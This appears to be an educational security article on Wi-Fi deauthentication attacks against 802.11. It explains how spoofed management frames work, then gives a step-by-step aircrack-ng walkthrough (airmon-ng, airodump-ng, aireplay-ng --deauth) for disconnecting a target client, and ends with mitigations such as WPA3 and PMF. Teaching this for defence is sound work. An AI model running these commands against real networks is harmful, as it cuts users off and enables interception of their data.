Wi-Fi deauthentication attack against 802.11 protocol

Despite their effectiveness, Wi-Fi networks can be vulnerable to security threats. A specific danger relates to the 802.11 protocol, which outlines the rules for wireless networks. This threat is called the Wi-Fi de-authentication attack. It compromises users by severing the link between a device and a Wi-Fi access point, leaving them vulnerable and cut off.

Understanding Deauthentication in Wi-Fi Networks

The 802.11 protocol is used by Wi-Fi networks to create and maintain connections between devices and access points. Devices authenticate with the access point during this procedure in order to access the network. In Wi-Fi networks, valid management frames called de-authentication frames are used to break an established connection between an access point and a client (such as a laptop or smartphone).

However because these frames are readily spoofable and lack authentication, attackers can transmit bogus de-authentication frames to interfere with network traffic.

What was the outcome?

The forced disconnection of devices from the Wi-Fi network causes them to become momentarily offline. This approach, which involves compelling users to reconnect to rogue access points, is frequently employed in denial-of-service (DoS) attacks and to enable man-in-the-middle (MitM) assaults.

Process of a Wi-Fi de-authentication Attack

This article is for educational purposes only. Unauthorized network attacks are illegal and unethical. Ensure you have explicit permission before conducting any security tests.

Tools Needed

• A Linux-based operating system (e.g., Kali Linux).
• A wireless network interface card that supports monitor mode and packet injection.
• aircrack-ng suite.

Step 1: Set Up the Environment

Open a terminal in your Linux environment. Verify that your wireless network interface card supports monitor mode and packet injection by running:

Command: iwconfig
OR
Command: apt install wireless-tools

Step 2: Enable Monitor Mode

Enable monitor mode on your wireless interface (replace wlan0 with your interface name):

sudo airmon-ng start wlan0

Your interface should now be in monitor mode (usually named ` wlan0mon ` or similar).

Step 3: Capture Wi-Fi Traffic

Start capturing traffic on the targeted Wi-Fi network:

sudo airodump-ng wlan0mon

Identify the BSSID (MAC address) of the target access point and the channel it's operating on.

Step 4: Target a Specific Client

Focus on a specific client connected to the network by running:

sudo airodump-ng --bssid [AP_MAC] --channel [CHANNEL] wlan0mon

Note:- Replace ` [AP_MAC] ` with the BSSID of the access point and ` [CHANNEL] ` with the channel number.

Step 5: Send Deauthentication Frames

Send deauthentication frames to disconnect the client from the network:

sudo aireplay-ng --deauth 10 -a [AP_MAC] -c [CLIENT_MAC] wlan0mon

Note:- Replace ` [CLIENT_MAC] ` with the MAC address of the client.

The client should now be disconnected from the network.

How the Assault Operates?

An attacker can impersonate a genuine access point by sending counterfeit deauthentication frames to the target device in a Wi-Fi deauthentication attack. The device is told to disconnect from the network by these packets. The deauthentication frames are readily intercepted and altered since they are not encrypted. The attacker just has to be within the network; they don't need to have network authentication.

This attack may be carried out on a device with a packet-injecting wireless network interface card using a variety of tools, such as aircrack-ng or mdk3.

Potential Impacts of the Attack

• Denial of Service (DoS) Attack: Users may experience a permanent network disconnect, which would prevent them from using online services.
• Man-in-the-Middle (MitM) Attacks: Once a client has been made to disconnect, an attacker may entice them to connect to a rogue access point, where they may be able to intercept confidential data.
• Exploitation in Public Wi-Fi: Public networks are particularly susceptible to exploitation since they frequently lack robust security measures, which makes it simpler for attackers to carry out this kind of assault.

Strategies for Mitigation

In order to reduce the danger of deauthentication attacks on WiFi:

• Employ WPA3: Make use of WPA3 encryption, which uses the Protected Management Frames (PMF) functionality to safeguard management frames. This prevents spoofing of secure deauthentication packets.
• Turn on PMF on WPA2 Networks: To offer comparable security in the event that WPA3 is unavailable, turn on PMF on WPA2 networks.
• Keep an eye on Network Traffic: Install Wireless Intrusion Detection Systems (WIDS) to identify and notify administrators of any unexpected requests for deauthentication.
• Employ Private Wireless Networks: If at all possible, avoid utilizing public Wi-Fi networks for private or sensitive tasks.

Conclusion

A vulnerability in the 802.11 protocol is exploited by attackers employing Wi-Fi deauthentication, which might lead to connectivity problems and create security concerns. Although there are two protective methods, WPA3 and PMF, that can help shield users from these attacks, users should still use caution when utilizing public Wi-Fi networks.